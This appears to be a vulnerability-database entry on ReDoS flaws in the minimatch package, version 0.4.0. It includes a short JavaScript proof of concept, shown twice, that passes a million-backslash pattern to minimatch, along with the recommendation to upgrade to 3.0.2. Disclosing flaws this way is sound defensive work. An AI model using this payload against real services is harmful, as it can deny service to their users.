NodeJS/minimatch/0.4.0

minimatch ReDoS vulnerability

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Regular Expression Denial of Service in minimatch

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Regular Expression Denial of Service

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) is vulnerable to ReDoS in the pattern parameter. This is because of the regular expression on line 521 of minimatch.js: /((?:\\{2})*)(\\?)\|/g,. The problematic portion of the regex is ((?:\\{2})*) which matches against \\.

A proof of concept is as follows: ``` var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```